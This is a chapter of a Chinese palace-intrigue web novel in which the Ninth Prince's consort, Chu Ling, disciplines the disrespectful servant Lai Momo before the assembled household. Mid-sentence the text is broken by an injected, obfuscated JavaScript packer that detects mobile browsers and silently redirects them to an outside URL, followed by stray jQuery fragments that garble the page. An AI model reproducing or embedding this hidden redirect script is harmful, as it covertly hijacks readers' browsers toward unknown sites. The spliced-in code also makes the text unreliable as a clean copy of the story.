楚灵的话没有半分火气,甚至脸上始终还挂着一抹微笑,只是这样的轻描淡写语气和笑容,却硬生生让赖嬷嬷有种不寒而栗的感觉。
楚灵这张看上去十分清纯的面容之下,竟然蕴含着如此的心胸!赖嬷嬷跪在原处,浑身上下都有些微微颤栗,自从进府以来从没有受过任何苛责的她,此刻竟然陡然升起了一阵对未知的恐惧。
她不知道眼前这个年纪轻轻就做了九王正妃的女人,接下来究竟要做什么。
仿佛她说的每一句话,做过的每一件事,都是超乎自己意料的,她也始终都猜不准,楚灵下一步到底预备如何。
楚灵像是丝毫没有察觉到赖嬷嬷的不安,径自起身,走了几步来带赖嬷嬷的身前,随意拂过衣裙上的褶皱,慢条斯理道:
“这天儿真冷啊,有劳赖嬷嬷也去院子里候着,我随后就到。不过,这个天寒地冻的,赖嬷嬷可不要又一时糊涂,忘了主子的吩咐,本宫仁慈,最见不得这腊月里面大动干戈了。”
说罢,楚灵便挑帘出去了,只余下赖嬷嬷愣在原地。
过去了良久,赖嬷嬷才像是缓过神来,冲着门帘狠狠的啐了一口:“呸,什么东西,敢在我面前摆威风,看你今日敢来得罪我,明天就让你吃不了兜着走!”
这样的话,楚灵自然是听不见的,只不过若是听见了,她也不会生气,所谓匹夫之怒不过锤头抢地,若不是有人试图来触她的底线,她一直都是不屑,也懒得动手的。
桑竹的动作很快,楚灵回房之后不过换了一件衣裳的功夫,桑竹便已经挑起门帘进来回话了。
“小姐,我已经让人传话下去了,这会子估计人已经到齐了。”
今日的天气极冷,虽然方才还有太阳,但是那点子阳光的温度却并不能让天气暖和起来,更何况,此刻那点熹微的阳光也已经彻底被厚重的乌云遮盖了,只余下阴沉沉的天气,像是一场大雪的前兆。
桑竹哈着冷气蹲在房中的暖炉旁取暖,一直三脚的铜炉中,燃烧着的是上好的银丝碳。此炭乃是贵族专用,不但燃烧性极好,还没有一丝烟味,也是金陵城的贵族们冬日去取暖最常用的东西。
双手回了暖,桑竹这才起身将一旁的披风给楚灵披上,上好的风毛触手生温,桑竹一面给楚灵系着系带,一面道:“今儿天气这么冷,小姐有什么大不了的事要叫人到院子里说呢,您的身子还没好,若是被冷风扑了可怎么是好。”
见楚灵没有说话,桑竹便又开口问道:“那个赖妈妈是怎么招惹了小姐吗?怎么惹得小姐动了这么大的气?”
楚灵但笑不语,转头看向镜中的自己,镜中人面容清秀,一双杏眼中饱含了无尽的神韵,眼波流转间顾盼生辉,映衬的整个人面若桃花,神采奕奕。
只是,镜中的人分明是个少女,楚灵一向不喜欢在梳妆打扮上用过多的心思,由是显得更为清丽。瞥了一眼妆台上摆放整齐的金钗步摇,即便在这般昏沉的天色下,还是闪着耀目的光,那是独属于九王妃的华贵。
楚灵纤细的手指一一划过这些首饰若有所思,也许自己的不喜装扮和懒得去管一些事,在相当一部分的人眼中,就变成了软弱可欺了?
楚灵看着铜镜,目光逐渐变得冷肃,“可能是咱们太好性了,有得有些人蹬鼻子上脸,越发不知检点。”
桑竹的手一顿,问道:“那赖妈妈的确是对小姐不敬?”
楚灵未置可否,浅浅站起身,随手抓了妆台盒子中一把金瓜子在袖中,转身走出门。
“府里的人,我倒是时候见一见了。”
楚灵所居住的是后院的正堂,两侧的九曲回廊环抱之下,拥出了一整个精致的院落,院中曲水流觞十分雅致,水边植了些许梅树,每逢冬日,枝头寒梅竞相开放,煞是好看。
一池春水是用汉白玉青砖铺就的空地,西南方向的高处则是一间小小的亭子,空地再往前走,便就是楚灵所居住的房间。
此刻,得了传话的下人已经纷纷到齐,在水池前的空地上三三两两的站好,脸上或是好奇或是惶惑的等待着楚灵。
不多时,便见正屋的门帘被打起,走出来的人影正是楚灵。
正屋前的回廊下,本来就有一张宽大的红木椅,正对着廊前的一片空地,其意本就是主母用来召见下人分派活计或者是用来训话的。
只是因为九王府后院一直无主,楚灵嫁过来之后,也一直没有召见过阖府下人,所以这张椅子便一直空着,从未有人坐过。
眼下,已经有人提前擦拭干净了,并在上面垫了鹅毛软垫,一只燃烧正旺得炭盆摆在一侧,仿佛一切皆备,只静等着它的主人前来。
看到楚灵的身影,一种仆妇家丁们纷纷行礼,口中也都道请安的吉祥话:“王妃娘娘金安。”
众人的声音并不算整齐,但是在这颇有些空旷的院落之下,也显得格外郑重。
楚灵也并不做声,只目不斜视的扶着桑竹的手走到红木椅子前坐下,待身子坐定这才抬举目去看廊前站着的众人。
站在首列的自然是以赖嬷嬷为首的一干年纪颇大的仆妇们,第二排则是各院各处的掌事侍女和家丁,再往后则是一众丫鬟侍女,想必手中也都是各自领了差事的。
楚灵眯着眼看了半晌,并未说话,只细细打量着众人。在这样的沉默中,众人不自觉开始觉得惶惑,一个个只跪在原处保持行礼的姿势,大气也不敢出一下。
片刻后,楚灵这才收回目光,微微笑了笑,“都起来吧。”
方才的威慑很又效果,得到了吩咐,众人这才敢垂头道谢然后站起身。看众人都重新站好了,楚灵拿过手旁的茶盏呷了一口,缓缓道:
“自我入王府后,便一直忙着不曾得空儿,所以这才等到今日有空来见见诸位。今日呢,也没有什么大事,不过就是得闲了,所以抽空来和你们打个面熟,日后也好
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15104889|163738||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
熟络些。”
此言一出,众人不自觉都松了一口气,更有些胆子大的,已经陪着笑脸向楚灵巴结卖好。
“王妃如此和蔼,真是咱们做下人的福气,以后一定好好给主子效力,打起十二分的精神伺候主子!”
楚灵看了那人一眼,只浅浅一笑并未说话,目光一一划过面前站立的众人,被看过的人察觉之后都一一低下了头,最终,楚灵的目光停在了赖嬷嬷的身上。
赖嬷嬷原本是昂首站在第一排正中间的,丝毫没有方才被楚灵训过的样子,高高的扬着下巴,摆足了王府后院掌事嬷嬷的姿态。
只是,感受道楚灵的目光后,她的目光不自觉缩了缩,然而又不便说话,只能站在原处,只是微微低了低头。
楚灵心中顿时了然,想必这个赖嬷嬷并未向任何人道出方才在书房中的事。唇边不自觉划出一抹笑,也好,想来自己也是和颜悦色的多了,这才能纵得整个府上的下人对她没有半点尊重。
“你们尽心伺候,本宫自然好好待你们,只不过,九王府的后院一直无主,所谓乱花渐欲迷人眼,本宫怕有些人坏了眼睛,认不清这主子到底是谁呢。”
一时间寂静无响,众人都默默低了头,无人敢上前答话。任是谁都能听出来,王妃此话说得蹊跷,是以这等情况之下,谁都不敢去当这个出头鸟。
眼见无人答话,楚灵只斜靠在椅子上,一下一下的合着茶盖,目光落在赖嬷嬷的身上,勾出一抹耐人寻问的笑:“赖嬷嬷,你说是吗?”
果然还是被点了名,赖嬷嬷浑身一颤,当着这么多人的面,她不敢不答话,深深蹲下身施了一礼:“王妃说的自然是对的,老奴怎敢随意置喙王妃所言呢。”
楚灵面上的笑意更深了,随手一指赖嬷嬷笑了:“瞧瞧,果然是府上的老嬷嬷了,说话办事就是机灵,你们可要好好的跟着赖嬷嬷学学......”
话至此,楚灵故意顿了顿,而后才忽然转了话锋,“学学她以下犯上,目无尊卑的机灵!”
后半句话,楚灵趁着声音说得掷地有声,直接骇得众人死死垂下头,生怕被楚灵看到,就殃及自身。
而赖嬷嬷更是直接跪在了地上,口中大呼着:“老奴不敢,是王妃冤枉了老奴,请王妃明察。”
嘴上虽然接连说着不敢,但是语中却是直指楚灵不分青红皂白就冤枉了她。
“是么?”楚灵闻言冷冷一笑,直接看向站立在身侧的管家,“今日本宫在书房,赖嬷嬷未经通传便擅自前来告诉本宫,说书房书府上的禁地,不许本宫踏足,若是去了,便是犯了府上的规矩,不知九王府可有此等规矩?”
九王府的管家,是一个年逾五十的老者,此刻他端正站在廊下,面色十分沉稳,只缓缓向楚灵施礼道:
“回禀王妃,书房之地,王爷的确是吩咐过,非等闲之人不得擅入,但是,王妃是王府主母,自然并非等闲之人。”